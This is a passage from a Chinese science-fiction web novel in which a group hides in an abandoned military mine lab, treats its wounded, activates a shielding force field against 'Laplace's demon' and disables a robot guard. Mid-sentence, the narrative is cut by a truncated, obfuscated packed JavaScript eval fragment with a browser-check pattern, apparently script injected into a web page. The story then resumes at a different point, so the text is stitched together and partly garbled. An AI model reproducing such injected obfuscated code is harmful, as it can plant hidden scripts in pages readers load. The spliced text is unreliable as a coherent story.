这话像火苗点燃众人的僵局。即便只是微弱希望，也比干耗要强。林忻当机立断：“那就带他们进矿洞。我们仔细摸索一番，或许真的能找到遗留的补给。”顾子衿与学姐相互看了眼，也觉得这是现阶段最可行的办法。 他们短暂收拾行囊，将一切能带的物资都挪下马车。那匹疲惫的老马拴在岩台上，暂时无法带入洞穴。顾子衿心里有些过意不去，但也知道带它进去可能更危险；况且里面地形狭窄，马车根本无法通行，只能徒步。 林忻先行探路，其他人小心翼翼地扶着乔伊和教授走进早先探明的“通道入口”。夜色已深，矿洞中比想象中还要漆黑，幸好他们有几支应急照明棒。轻轻掰动后，绿色荧光就照亮前方数米范围，让他们勉强看清地面状况。 洞内湿气浓重，水花滴在人肩上冰凉刺骨。教授在药物作用下似乎退烧了些，但整个人依旧半昏沉。乔伊则死死咬着下唇，让自己保持清醒，时不时还能抬眼辨认方向，指示大家往左或往右。 通道越往里走越开阔，走过一段弯曲轨道后，眼前出现一道分叉。左侧通往更深的下层坑道，右侧似乎是一片改造过的空间，能看出墙壁上敷设过电线管道。“从资料看，右边应该是军方当年的临时研究站。”乔伊颤抖的声音带着兴奋，或者说是一种绝望中的期盼。 林忻打头，试图推开那扇铁门，却发现已经生锈卡死。顾子衿跟上，用肩膀狠狠撞了几次，才把门缝一点点顶开。腐蚀破裂的金属碎屑簌簌掉落，刺鼻的陈旧味道迎面而来。 门内空间不算大，却能看出布置结构：角落里还有几个倒塌的铁皮柜，地上散落着各种零件与工具。学姐忙示意林忻把教授和乔伊安置在墙边，还找了几片木板垫着，以免他们直接躺在湿冷的地面上。 “快找找有没有药物或医疗箱。”顾子衿真实地感觉到——这是他们的一线生机。林忻点头，当即开启手电在房间里翻找。学姐也试着挪动一些倒下的柜子，顾子衿则拿起一根铁棍，小心把地上堆积的杂物撬开。 这个过程足足持续了半小时，却只有一些瓶瓶罐罐、废弃电池与档案碎屑，未见像样的药品。学姐忍不住焦躁，正要继续拉开一只生了锈的柜门，乔伊忽然费力出声道：“柜子……背后……从图纸看……可能有……暗格。” 学姐精神一振，与顾子衿合力把那沉重的柜子挪开。背后果然藏着一道小型金属门，上头还贴着褪色的红色十字标志。心脏怦怦直跳：这是医疗仓库？还是单纯急救箱？顾子衿用铁棍撬了几下，锁头并不牢固，“咔”一声松开了。 门内赫然是一个小小储藏间，里面环境并不宽敞，可一眼就看到一些医疗箱，印有英文“Emergency”。林忻难掩欣喜，取出一只箱子放到微光下查看，里头有些过期药物，但也有酒精棉、缝合包、绷带、止痛片等尚能使用。更令他们惊喜的是，居然还找到了几瓶基础抗生素！ “老天有眼！”学姐差点喊出声，她知道这意味着乔伊和教授起码不会死在这么个地方。虽然药品有限，也远称不上完善，但在如今条件下已是巨大曙光。 他们立刻把乔伊轻轻扶起，给她做进一步清创；当那冰凉的药水渗到伤口，她虽然疼得皱眉，却足够坚强：“……值得……”她喃喃说，“都值得……” 学姐也给教授注射了抗生素，希望能缓解他持续高烧带来的并发症。做完这一切后，众人才敢稍稍舒口气。顾子衿靠在墙边，极度疲劳中却感到一丝幸福。她拂去乔伊鬓角的乱发，道：“先暂时休整几小时，明早再探其他地方。” 林忻坚持要值夜班，她安静坐在破落桌子后侧，手枪在膝头。矿洞深处传出的风声里，似有呼啸与低鸣，嘲弄或痛苦，谁也说不清。可对他们而言，这里已算前所未有的安全，至少能让急需休息的两位伤者缓慢恢复。 夜色浓得化不开。矿洞里没有星月，只有微弱灯光和呼啸风声。这时，教授忽然在昏睡中喃喃说了两个字：“拉……普拉斯……”学姐一惊，凑近细听，却再也分辨不出他在说什么。她想起那高维存在冷漠的俯视，背脊不由得发凉。 “盲区保护我们一时，但若它又有了新的追踪方法……”学姐不敢再想下去。她只能轻抚教授的额头，期盼次日或许能见到更多光亮。 时间流逝得很慢。偶尔，乔伊痛苦地扭动身体，却在学姐的安抚下又重新睡去。顾子衿把那个残破的资料袋紧紧压在怀里，生怕任何一丝意外毁掉乔伊用命换来的成果。林忻则独自坐在昏暗里，警惕地望着紧闭的铁门。 她们都清楚，这只是暴风雨前夕：矿洞的深处还未探查，拉普拉斯妖也不可能甘心放任。他们目前得到的微弱庇护，究竟能维持多久？在这凄冷黑暗中，唯有彼此的呼吸与心跳，似在诉说“活下去”的愿望。 翌日清晨并未带来明媚阳光，反倒是阴冷潮湿的人造灯光——学姐用打火石点亮门边找到的应急灯，让空气里多了点昏黄亮度。乔伊因抗生素生效稍有好转，起码烧退了些，整个人不再滚烫。教授也从深眠中悠悠转醒，第一件事就是侧头虚弱地询问：“我们……在哪里？” “在你兜兜转转想来的盲区矿洞，反倒救了你一命。”学姐半开玩笑，眼里却含泪。教授眯着眼，似在努力回忆什么。当提到这里曾是军方研究站时，他眉头紧锁，像想到了某些可怕真相，却又顾忌乔伊伤势没法多言。 顾子衿与林忻商量后，决定再往矿洞更深处走，看看有没有更多补给，或是找到更便于防守的地点。学姐留守陪着乔伊和教授。临出门前，林忻注意到教授眼里复杂的神情，心想：这位在学术界声名显赫的人，究竟知道多少关于拉普拉斯妖的秘密？也许他们会在接下来探查中，逐步揭开真相。 再次踏上通往深处的路，脚步却比昨夜稍微稳当。顾子衿并不喜欢矿洞里的幽闭环境，但在外头，他们随时可能被敌人发现。也许这里正是他们逆转命运的关键。 那些倒塌的轨道与设备逐渐减少，意味着他们离矿区核心实验区越来越近。一路上，破旧墙壁上偶尔能看到“注意防护”或“未授权禁入”等模糊标语，仿佛代表着另一段被掩盖的历史。 就在他们以为会顺利地一路深入时，前方岔道却发出沉闷的金属轰响。两人紧张地藏到石柱后，心脏狂跳。难道真有其他人在此活动？还是机械残骸自行运转？顾子衿对林忻比了个手势，二人蹑手缓步前行。 踏进岔道，豁然发现一道横梁倒塌在地，上方连接的金属管仍滴滴答答漏水，砸在空铁桶上发出那熟悉的叮当声。他们绷紧的神经才略微舒缓。可下一刻，更远处的通道里忽然闪过一道蓝色微光，飘忽不定，如鬼火般延伸到深远黑暗里。 两人对视一眼，觉得诡异，却被那微光吸引，悄然跟随进入。通道越发狭窄，突然又扭转延伸，看着像某种研究实验区。地面上的灰尘显得奇怪，仿佛有人近期踩踏过，又或者是有什么生物活动过。 海潮般的惶恐在他们内心翻滚——拉普拉斯妖不该能轻易进来，但谁又能保证？也许敌对势力派了特殊的侦查队？或是这里还遗留着某台自动防卫系统？越想越令人不安。 他们谨慎往前，视野豁然开朗：这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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学姐想让她继续休息，但乔伊却坚持要亲自去看看。她说，只有亲眼确认那力场是否与资料中的原理相符，才能判断下一步该如何操作。教授也赞同，哪怕他身体未痊愈，却一面拄着学姐的搀扶，一面宣称自己还可以做点学术分析。 于是，为了共同的目标，众人决定在矿洞中再推进一段。当他们重新整理好装备，或者说重振起微弱的斗志时，矿洞外的雾气似乎更浓，没人知道外界有无敌方逼近。顾子衿从背包里取出一柄匕首递给学姐，示意她用来防身。林忻也仔细盘点子弹数量。 这一次，不再是仅仅侦查。乔伊和教授随行，意味着体能与风险都大大提升，但他们找到了新的动力：若真有装置能让拉普拉斯妖“看不见”，那无异于捅破命运牢笼的一束光。就算再艰难，也值得拼一把。 通道里还是那些湿滑岩壁，忽明忽暗的应急灯照不远，脚边水洼里不时倒映出几个人紧张而专注的神色。教授喘得很重，学姐不时停下来让他歇息几秒。乔伊抓住顾子衿的手臂，倚靠在她肩头，对这地形再度指点：“往这边……走两百米……就到了。” 踏入那巨大的力场屏障所在区域时，教授眼中明显闪过一道光。他走近那块机台残骸，弯腰查看线路布置，脸上露出复杂的神色：“果然……当年的实验在这里……可惜就剩这么点残装备了。” 乔伊挣扎着靠近力场边缘，她用手背轻轻碰触，一阵酥麻感涌来，但并未被弹开。“还有效……”她欣喜得差点落泪，“这是……真正的高维干涉力场吗？”学姐连忙将她扶正，生怕她身体再虚脱。 教授皱着眉，似乎还想在控制台上按些什么，却发现大半电路废弃，能量输出极度不稳定。“如果我们贸然启用它的核心……有可能瞬间崩溃，也可能产生剧烈能量冲击……”他说到这里，目光落在乔伊与顾子衿脸上，“但也可能在短时间里，彻底屏蔽拉普拉斯妖的全面侦测。” 所有人都明白这句话背后的含义——那就是赌一把。成功的话，等于握住更多存活与反抗机会；失败的话，或许整个矿洞都会变成坟墓。林忻沉默地看了看学姐和乔伊，最后直视教授：“您觉得，值吗？” 教授疲惫地闭上眼，又睁开：“从科学角度说，不确定。我只能说，这或许是小概率打破命运的希望。当然，也可能是自杀。” 乔伊却沙哑地吐字：“我们……已经没退路……”她看向顾子衿，眸子里是绝境下所有的勇气与悲哀交融。是啊，外面拉普拉斯妖的禽爪正紧逼，继续逃亡只会耗光体力；能寄望的也只剩这些。 学姐将手轻搭在乔伊肩上：“那就做吧。”她的声音微颤，却无比坚定。林忻和顾子衿也不再犹豫。这个团队，早已在血与泪中形成默契——哪怕是飞蛾扑火，在命运面前，他们也要留下自己的光。 教授简单嘱咐了几句操作要领，让自己和乔伊坐到相对安全的墙边，以防万一力场失控时不会首当其冲。学姐则帮忙固定一些电缆，顾子衿和林忻负责尝试接通机台中仍可用的能量回路。 一时间，矿洞深处充斥了紧张而急促的金属声、电流滋滋声，不时有火花在黑暗里闪亮。乔伊清晰地感觉到那种高维扭曲力在周围翻涌，令她产生一种恍惚眩晕感，仿佛看见无数平行线在眼前交错。学姐紧张地呼唤她，她才勉力回过神。 半盏茶后的某个时刻，教授微抬头颤声道：“3……2……1……”随即砰地一响，一股蓝紫色的电流从机台中心喷薄而出，高速蔓延至那透明力场屏障。场中电光纵横，噼啪作响，宛如暴风雨。 顾子衿手心烫得发麻，她死死咬住牙关，还好林忻及时用扳手敲断了一根过载电缆，避免爆炸。力场好似被注入活力，整个屏幕般的透明墙猛地震颤后，恢复稳定，散发出幽幽的蓝色光芒。 “成功了吗？”学姐大喊着冲到乔伊和教授面前，见他们只是惊吓过度，尚无大碍。那蓝光渐渐扩散到整个洞窟，仿佛形成一把巨大穹顶，把他们隔离在某个更安全的维度里。 “应……应该是启动了。”教授沙哑着说，“具体能维持多久，不敢保证。但在此期间……拉普拉斯妖的监控，应该失效……”他张口猛咳，却眼中闪烁着期待。 乔伊强撑着身体，看向那片蓝光：“如果是这样……那么，命运并非不可撼动。”她的眼眶泛红，仿佛看到了世界另一面的希望。顾子衿也在一旁喘着气，望着这奇景出神。或许，他们真正踏上了对抗命运的转折点。 然而，就在众人还未来得及欢呼时，深处有某种机械嗡鸣再次响起。突如其来的震动让地面略微抖颤，力场里似有干扰波闪动。林忻反应最快，立刻举枪瞄准黑暗通道，但电光中她隐约看见一台不知名的金属机器人在角落启动了红色瞄准灯。 对方有可能是军方留下的自动防御系统，也可能是被电磁激活的危险装置。总之，那滞留数十年的冷兵器，似乎要在此刻苏醒，对入侵者展开攻击！ “当心！”顾子衿大喊，林忻开枪射击，对方也瞬间开火——火舌在力场蓝光下交错，金属碰撞的震耳回响在整个洞穴，仿佛又一场生死鏖战即将打响！ 矿洞顶端岩层发出碎裂声，仿佛随时可能塌陷。学姐死死抱住乔伊和教授躲到墙角，顾子衿与林忻迎着火光闪烁的机械威胁——原本以为找到一线生机，却又步入新的杀机！究竟他们能否在这狭窄空间抵挡住这突如其来的攻击？力场又能维持多久？ 蓝色电流在黑暗中狂舞，映照每个人骤然绷紧的脸庞，同时也召唤来宿命之战的敲门声。在这盲区中心，在脱离了拉普拉斯妖视线的特殊地带，他们迎来新的考验——一场或许注定惨烈，却也蕴藏转机的较量。下一刻，他们必须做出痛苦抉择：坚守或撤离，冒险或牺牲？所有的谜团，都会在下一章继续揭晓。 38.夜雾深处，心念交织 矿洞深处的空气，似被那幽蓝力场撕裂成两重世界。乔伊半睁着眼，靠在冰冷潮湿的矿壁上，感受自己胸口还有些刺痛般的胀闷。她微微喘息，额头汗水渗出，明明前一刻还发着高烧，可自从那力场被激活后，她感觉到一股温热的力量在体内流窜。那种无法言说的能量，既像是某种高维指引，又仿佛来自于——拉普拉斯妖的呼唤。 嘈杂的枪声与钢铁撞击声在黑暗里回荡，宛如撕裂夜幕的雷鸣。林忻紧握手枪，一次又一次扣动扳机，试图阻挡那台突如其来的机械守卫。它的外壳看似残破不堪，却依旧能灵活地旋转躯体，举起带有高温能量脉冲的金属手臂，朝他们一行发射出一道耀眼火光。火焰在力场折射下变得奇异诡谲，每一次冲击都让洞壁震动不已。 “快！掩护教授和乔伊！”学姐大喊，声音里带着颤抖，却依旧坚定无比。她半扶着教授，想要挪往更安全的转角。教授年迈又被病痛折磨，脚步跌跌撞撞，整个人冷汗涔涔。他仍死死攥着那叠资料袋，里面记载了他们一路上最关键的实验笔记与信息，因为他深知任何一点研发或数据，都是与拉普拉斯妖对抗或共存的关键。 顾子衿与林忻对视一眼，没有太多言语，却立刻默契地后退几步，迅速将机械守卫的火力吸引到自己身上。两人的身形在闪烁的电光中交错，破旧的矿道与铁轨映出他们紧张的侧影。林忻低声道：“子弹快要不够了，它的外壳太硬。”顾子衿咬牙，想起昨夜匆忙间在废弃柜子里翻出的弹夹也只有寥寥几发，心头顿时一沉。 陡然间，机械守卫身后传来“咔嚓”一声。那是一根断裂的横梁从岩壁上坠落，砸向它的金属躯体，发出刺耳的碰撞。仿佛所有人都在这顷刻凝神，机械守卫的动作顿了一顿，接着发出刺啦的电流异响。它的红色瞄准灯在力场折射下乱闪，似乎收到定位干扰。顾子衿抓住这个可贵机会，猛然抬手，枪声短促急促，一连数发子弹击中机械守卫脖颈与胸腹连接处，那儿是装甲较为薄弱的位置。 “快离开那通道口！”林忻意识到机械守卫周遭火光骤盛，似乎在自我复位或蓄力。她立刻拉着顾子衿后退，整个人浑身冷汗透出衣背。学姐也配合着带走教授和乔伊，五个人匆匆撤到力场中央，那里有稍微开阔的岩石空地。 滋滋电流声与机械臂旋转的咔咔声再度交织，机械守卫两个关节接连抖动，那发红的瞄准灯朝他们方向再次聚焦。可它像是能量出血一般，每行进一步都伴随着抖动和碎裂金属声，好似破旧齿轮拼命硬撑，随时可能崩塌。 乔伊努力抬眼，看着那扭曲且破烂不堪的金属怪物，脑中浮现某种奇怪念头：也许这就是军方当年给这里安置下的自动防御系统，它被力场的启动唤醒，却在时空与腐蚀的双重摧残下变得不完整。它绞尽全力执行最初的指令——击退任何试图侵入核心实验区的“入侵者”。一瞬间，乔伊内心竟生出某种复杂的怜悯。她不知道这种情绪是源自自己的感性，还是那股与拉普拉斯妖相连的无形能量在和她共鸣。 “它就像——对命运的一种机械化映照。”乔伊喃喃自语。她脑中逐渐浮现第二个人的声音，那低沉空灵又带着奇异震颤，是拉普拉斯妖的意念。“畏惧，怀疑，想要守护既定秩序，却又在时间里锈蚀不堪。乔伊……你所见的，便是我们曾经面对的……” “你在和我说话吗？”乔伊心底默念，却只得到意念深处柔和的回荡——仿佛拉普拉斯妖在那更高的维度，静静看着她，带着一抹无法言明的哀恸和期待。她无法用身体感知对方，可她确实听得见那句“去改变”。 没等乔伊再多细想，机械守卫那只金属臂猛然扬起，一道电流火光呼啸而出。顾子衿和林忻见形势不妙，立刻扑倒在地，可那火光还是擦过他们的肩膀，在岩壁上烧出一片焦黑。若再贴近几分，后果不堪设想。林忻嘴里发苦，暗暗懊恼近乎弹尽，看来只能想别的办法。 教授艰难地掏出一个金属管状物，声音虚弱却急迫：“这、这是当年他们研发的小型电磁干扰弹……我、我在资料里看过……也许能短暂让它停止，但有效范围很近，需要有人靠近才能扔到控制中枢附近……”他抬起头，老眼混浊，却透着坚持，“谁去……都会有危险。” 话音未落，乔伊猛地撑住地面站了起来。她知道自己的身体还没完全康复，腿脚依旧发软，但有一种源于精神深处的力量驱使着她。一种对命运正面冲撞、对未知发出挑战的倔强，或许也夹杂那份与拉普拉斯妖相呼应的超然意识。她轻轻伸手，接过教授递来的电磁干扰弹。 “我去。”她的声音嘶哑，却铿锵有力。学姐愣住：“乔伊，你……”林忻也匆匆劝阻：“不能冒险，你才刚退烧。让我来——”可乔伊摇摇头，目光中有种不容置疑的坚定，“只有我最清楚那个力场带来的感应。如果我能将它干扰……或许也能借用力场本身的波动让它短暂瘫痪。你们火力掩护，我去贴近它，把干扰弹安装在背部位置。” 顾子衿同样严肃：“那太冒险，我们不知道它下一秒会不会爆裂。”乔伊却只是用力咬紧牙关，深吸一口气，她仿佛隐约在心中听到拉普拉斯妖的声音：“相信自己，命运并非注定。”她垂下眼帘，唇线紧抿：“让我来。” 那一刻，教授看着乔伊的背影，心里莫名一阵恍惚。他似乎看到她与某个超然存在的倒影叠合在了一起。那伟大的高维之力就像伴随着乔伊的呼吸，若隐若现。他想，也许乔伊从来就不是个普通的年轻人；她与拉普拉斯妖的紧密联系，早已注定她要承担更危险也更伟大的抉择。 学姐与顾子衿、林忻三人交换了眼神，几乎没有再说话，但每个人都看得出彼此的心意——全力去掩护乔伊。于是林忻和顾子衿相继端起最后的子弹，学姐则拿起那柄匕首，警惕地注视四周，以防矿洞顶部再有坍塌或突发危险。教授努力挤出一丝鼓励的笑容：“小心。” 乔伊点头，与顾子衿、林忻对好手势，然后纵身朝机械守卫的左侧通道小跑过去。她的脚步踉跄，却带着毫不退缩的奇诡决心。对面机械守卫的感应灯似乎觉察到目标集中在左翼，一道脉冲炮弹呼啸而出，狠狠砸在石壁上，碎石飞溅。乔伊心里一惊，本能地向后滚了半圈，险险躲过那股灼热气浪。 林忻见她差点受创，脸都吓白了，可她知道此刻不是犹豫的时候，她翻身趴在地面，用最后的一把子弹射向机械守卫的脑部位置，试图干扰它的瞄准系统。“嘭嘭”几声，火花四溅，那家伙的动作稍微迟疑了片刻。顾子衿也借机冲到更前面，挥舞匕首切断外露的线路管道，让机械守卫腰部关节再度发出焦灼的电流声。 就在这个稍纵即逝的空挡，乔伊咬紧牙关，扑到机械守卫的背部附近，一头扎进了那堆险象环生的破碎铁片里。她只觉得钢铁刺破了手臂，血液流得灼热难忍。可她没有停顿，强忍痛楚将电磁干扰弹稳稳塞入一块凸起的装甲下方，并用矿洞里找到的一小段铁丝固定住。 “停下吧……”她在心底默念着。有人说过，命运无法被改写，可此刻她宁可用尽全身力气去扭转。她伸手拨动干扰弹的触发钮，那一瞬间，机械守卫像是被当胸扎了一根利剑般猛然僵直，它爆发出更狂暴的电流声，却无法继续运转。蓝色电弧乱窜，然后“砰”的一声，机械守卫重重摔倒在地，机械臂上火光渐渐黯淡，最终化作一片刺眼的黒烟。 乔伊手心发凉，心跳仿佛要从喉咙里跳出。她扶着冰冷的金属外壳，想站起来，却发现自己腿也软了，再也撑不下去。下一秒，顾子衿冲过来，一把抱住她：“乔伊，你没事吧？”乔伊气喘吁吁地摇摇头，好一会儿才艰难地挤出句话：“成功了吗？” “我们都看见了，你真是——太拼了！”林忻小跑着过来，脸上是终于放松的神色。她查看乔伊胳膊被割开的伤口，轻轻敷上一块干净绷带。还好，虽然流血不少，但并不致命。学姐和教授此时也走近，教授长长吐了口气，声音里满是欣慰：“干扰弹奏效了，它完全失灵了。” 乔伊闭上眼，心脏仍在狂跳。她隐约又听到耳畔那道无形的声音——除了她再没有人能听见的拉普拉斯妖：“善用你内心的力量，乔伊……我们只是大千之维里的一道倒影，然而只要心念不灭，就能在命运之外留存新的痕迹……”她没出声回应，只是默默地、艰难地笑了笑。她很想问一句：你真的在这里吗？为何我总是感觉你就在我身体的某个角落，与我共享同一个呼吸？ 她睁开眼，看到周围高耸的矿洞顶，蓝色力场闪烁不定，一副随时都会再次崩毁的样子。教授走近那台瘫痪的机械守卫，用颤抖的双手掀开部分外壳，仔细检视内部构造。学姐好奇：“您这是要做什么？”教授轻轻拍打破损零件，声音嘶哑：“这或许能告诉我们，当年的军方究竟在这里进行过怎样的大规模实验。也许这里面会有力场接入端口或数据库存储芯片……如果能找到原始权限指令，我们就能更清楚地掌握力场的核心机理，从而更好地利用它对抗拉普拉斯妖。” 乔伊听到“对抗拉普拉斯妖”五个字，心里却忽然一抖。她在思维深处，仿佛比任何人都更清楚：那个所谓的“妖”，其实并非单纯的“敌人”。至少她在那精神维度中，感受到对方并无恶意，相反还有股微妙的情感波动。可她一时又无法对教授开口解释——若说出来，恐怕会引来诸多怀疑与恐惧。因此她只能将那片沉默藏进心底，看着教授忙碌地调试那些老旧线路，欲言又止。 与此同时，林忻和学姐到矿洞另一侧巡查，看看是否还有别的潜在危险。顾子衿则陪在乔伊身边，一边小心包扎她的伤口，一边递水给她喝。乔伊感激地朝顾子衿笑笑，后者却轻声道：“你这次真是吓到我了，不过你很勇敢。”她顿了顿，神色微妙，“乔伊……你是不是有些话想和我们说？我总感觉，你对拉普拉斯妖，似乎有另一层了解。” 乔伊愣了愣，没有马上回答。她不知道该如何表达——自己脑海中与那“妖”的沟通，究竟是错觉还是现实？它仿佛又不是纯粹的幻觉，因为那种深层思维交融带给她太多不一样的视角，甚至让她能在关键时刻挺身而出。可她还没准备好，至少当下，乔伊觉得自己需要先弄清更多真相，再告诉其他人也不迟。 顾子衿看她沉默，也不再追问。只是轻轻拍了拍她的肩膀，“无论如何，我们都相信你。” 不远处，学姐和林忻折返，学姐神情凝重：“前面大概几十米处有个垮塌的大裂缝，通往矿洞更下方，地面还在漏水，情况不容乐观???我们若继续深入，就要冒更大的生命危险；可万一回头……外面说不定已经被拉普拉斯妖的势力盯上……”她深吸口气，“要怎么选择？” 乔伊还未答话，一直捣鼓机械守卫的教授忽然发出低声惊呼：“喔……奇怪，这里有一块芯片……可惜表面已经烧毁。不过，我找到了段硬盘残片。”他擦去上面的灰尘，依稀可见着军方编号，以及“H-level”这样的字样。教授压抑着激动的声音：“如果这个硬盘内容还能被读取，那么当年的研究资料或许就完整保存在里面……不排除里面还有关于拉普拉斯妖的机密信息。那个力场中心区，或者说下层实验区，可能存放更多设备，用来做大型对撞、能量干涉……亦或更高维的扫描。” 顾子衿听到这里，沉吟片刻：“也就是说，如果我们能下去，就有可能一口气弄清当年的秘密。”学姐点点头，却没有立刻亮出态度。林忻抬起眼，观察着乔伊，“乔伊，你认为该怎么做？我们能轻易离开这里吗？” 乔伊没想到大家会这样问她，但沉思片刻，她心中浮现一条更清晰的思绪：无论自己和拉普拉斯妖之间的共鸣是什么，似乎都与那“更深处”密切相关——就好像那里藏着某把钥匙，能开启她一直苦苦追寻的真相。也许那真相能告诉她：为什么她能隐约在思维中感受到拉普拉斯妖？它和自己究竟是什么关系？是敌是友，抑或是两个自我之间的对视？ 她轻轻吐了口气：“回去也许还是死路一条。就算我们暂时逃开，拉普拉斯妖也迟早找上门。与其受制于它，不如主动探寻真相。这里的研究资料……说不定可以让我们站在更高的角度，与拉普拉斯妖对话。”说到“对话”这两个字时，她的声音不自觉柔和了一瞬，却没人留意到那抹变化。 教授点头，似也觉得这是目前最具前途的决定。大家互相看了看，很快达成共识：带着所有可能用得上的设备，再度深入矿洞最下层。他们先做了短暂休息，为乔伊与教授重新换药，并且简单吃了些干粮作为补给。林忻留意到矿洞尽头的力场仍在时而明灭闪动，像支离破碎的蓝色火焰。或许那玩意儿随时会熄灭，丧失保护作用，也或许会继续带来新的麻烦。 一行人路过那掉落的机械守卫，它的眼孔依旧闪着微弱余光，如同丧失了灵魂的绝望生物。乔伊走在最后，微微回望，忽然在心里生出古怪的敬意：也许它只是尽职守护这片废墟，却在时光与阴谋里被扭曲成了怪物。命运是如此荒诞——许多时候我们所畏惧和憎恨的，恰恰不过是生存本能所驱使的产物。她轻轻叹了口气，跟随同伴踏入那幽暗通道。 深处的环境愈发阴冷，和先前相比，狭窄的矿道变成了人工切割与自然裂隙交叠的一片乱石区。岩层间滴落的山泉在凄寂的暗处流淌，顺着岩壁蜿蜒而下，汇聚成浅浅的水洼。脚步踩在水里让人心生寒意。学姐皱起眉：“再往下就真是未知领域了……任何地图估计都无法可靠。” 顾子衿打开手电筒，使劲照向远方，却只能看见冷飕飕的雾气笼罩石块。林忻侧耳聆听，像是想评估前面是否还有别的机械守备或塌方。教授搀着学姐一步步向下，伸手摸索岩壁的纹路，似在计算地处位置，“当年的研究区域，约有两层楼深度。若没完全塌方，这条裂隙或许能把我们带到中心实验室。” 乔伊感受到矿洞里的温度越来越低，身上疲惫加剧，但她依旧咬牙前行。她脑海里的一种奇妙悸动越来越明显，仿佛她每往下走一步，那个“拉普拉斯妖”更接近一些。与此同时，她也想起自己最初接触“物理规则”时的无措与狂喜；想起幻想能操控一切，却发现很多事情无法由一个人任意摆布。因为真正的羁绊与感情，不会被简单的方程或规则所支配。 脚下突然一空，乔伊踩到一块湿滑的青苔，整个人差点栽倒。幸亏顾子衿眼疾手快拉住她，才没让她伤到伤腿。林忻忙用手电检查下方，发现那里是半塌陷的小洞口，里头隐约闪着微弱亮光。看起来那不是普通水光的反射，更像某种人工光源在隔着岩层闪烁。 “那里可能就是实验区的入口。”教授难掩激动。他示意大家先在周边搜索可落脚的地方，以免整块岩石崩落。最终，林忻找到一截原先铺设的小铁梯，但上面锈迹斑斑，不知还能不能承重。顾子衿小心翼翼爬下去几步，确认还算勉强可行。这才招呼教授、学姐和乔伊陆续往下移动。一路咯吱乱响，却没有发生坠毁。 离那亮光越来越近，矿洞曲折延伸，岩壁上的裂缝忽然变宽，像一扇天然大门。几个人跨过碎石堆后，瞬间豁然开阔：那是一大片被废弃的实验大厅，顶部坍塌过半，露出参差错落的钢筋结构，四处乱石堆积。然而地面残留不少仪器——高大的支架、破裂的玻璃舱、一条条捆扎凌乱的电缆。大厅深处有几盏昏黄备用灯依旧闪着微光，似乎连通了某个自给电源，释放出阴森却温暖的一点人造亮度。 乔伊稳住呼吸，看见不远处一架倒下的铁门，上头写着“实验区Beta”，旁边标着醒目的生化与量子警示标识。教授快步走过去，神色复杂地抚摸那扭曲的金属，“就是这里……他们当年进行大规模异维度测试的地方……可如今只剩这一片狼藉。” 学姐皱眉：“有些地方还有残存电力，说明里面有发电机还没停过？”顾子衿拿起手电朝更深处照，依稀见到几个屏幕闪烁不明的蓝绿灯。“或许这里真的是盲区能量的源头之一。力场还没完全断电，很可能集中在某个核心机房，或者说，核心对撞器。” 林忻踩过一堆凌乱的仪器时，突然看到地上横着一张破损的实验桌，旁边还有发霉的文件夹。她捡起那纸张，依稀辨得到几行字：“高维观察记录——推荐在XYZ支点实施……间断式能量输出……”更多的地方模糊不清，但一个个专有名词看得她心惊。这些研究，明显超越常规物理范畴，似乎直指“更高维度”的实验入口。 教授的目光炯炯，显出一股狂热：“果然如此……他们曾经尝试用这种对撞或实验装置来干扰拉普拉斯妖的侦测范围，从而取得盲区。不过实验发生过事故，所以封锁了这里，留下了残破系统。也许那次爆炸或坍塌伤亡惨重，最终导致矿洞废弃。”他说着，声音里却带着一种学术的兴奋，“可对我们而言，这里就是难得的机遇——看看能否重新找到那套核心装置。” 乔伊沉默地凝视着半坍塌梁柱下的一道阴影。那儿似乎还有人形骸骨，半截白骨露在外，裹着极度陈旧的军服。尘封多年的历史在她眼前化作冰冷的现实：这里曾经有人战斗、实验、牺牲。到底是谁对谁错？是谁渴望改变世界，却被命运吞噬？她忍不住走近那具残骸，将那军服褪色铭牌翻转过来，“C.Liu”这样的字母刺痛了她的眼睛。她不敢想象，对方在临终一刻心里怀着怎样的怨恨或不甘。 “乔伊。”身后传来顾子衿的呼唤。乔伊轻轻放下铭牌，快步返回队伍中央。教授已经拨开一堆废料，找到一扇尚未完全坍塌的金属门。上头布满灰尘和锈迹，勉强能看出“研究核心区”的英文字母。想要强行开锁必然耗时，也可能引发结构崩塌。名为“时间”的无形压力正紧逼着他们下决心。 顾子衿体力较好，让学姐与林忻在周围警戒，教授则在乔伊的协助下尝试破解门上的旧式密码锁。乔伊一边输入教授提供的推测密码，一边感受到指尖阵阵颤抖，不知是不安还是期待。她总有种直觉：门后也许藏着答案，关于拉普拉斯妖的起源，关于她自己难以言说的心灵感应，也关于这个世界无法左右的“命运走向”。 金属门吱呀作响，似乎有所松动。然而就在他们试图更用力开启时，矿洞顶再次摇晃，碎石尘土扑簌扑簌落得满头都是。林忻急忙喊：“小心塌方！”顾子衿和教授对视一眼，顾子衿怒吼：“没时间了，退后三步！”随即她猛地抬脚，狠狠踹向那扇门的合页处。教授也在另一边配合撬动。锁扣咔嚓断裂，门板歪斜倒下，下一刻就有一块巨石从上方落下，险些砸中他们。幸好林忻及时将教授扯开，不然真要命丧当场。 撕裂般的尘雾散去，乔伊剧烈咳嗽，连忙用袖子捂住口鼻，看向那刚被打开的过道——那里面竟然泛着一片柔和的白色光芒，非但不暗，反而显得和外面环境格格不入。像是某种自给能源照亮着一条走廊，两侧还有设备箱与零散文件，甚至能见到一副悬挂的纸板海报，上面写着“致未来实验者，请爱惜机台。”这样荒诞又讽刺的标语。 教授拉着乔伊走进去，刚踏一步，就一屁股跌坐在地，显然是体力严重不足了。他喘着气：“前面……也许就是核心机房。”乔伊颤抖着搀扶他，“您的身体没问题吧？”教授勉强摇头，“没事，我还能撑住。只是时间不多，我怕外面的力场不稳……也怕拉普拉斯妖……”他忽然看了乔伊一眼，犹豫片刻，还是平静地说，“我知道你和它之间似乎有些联系。但无论如何，如果它要毁灭我们，这里或许就是最后的机会。” 乔伊闻言心头猛地一抽。她很清楚教授的担忧是出于“人类对抗拉普拉斯妖”的立场，可她自己却有股矛盾的挣扎：拉普拉斯妖真的就是所有人的敌人吗？会不会，它也是在挣扎着寻找某种解脱？她没有答案，只是默默扶着教授继续往前，身后学姐、顾子衿和林忻也相继进来，关切地看着他们。 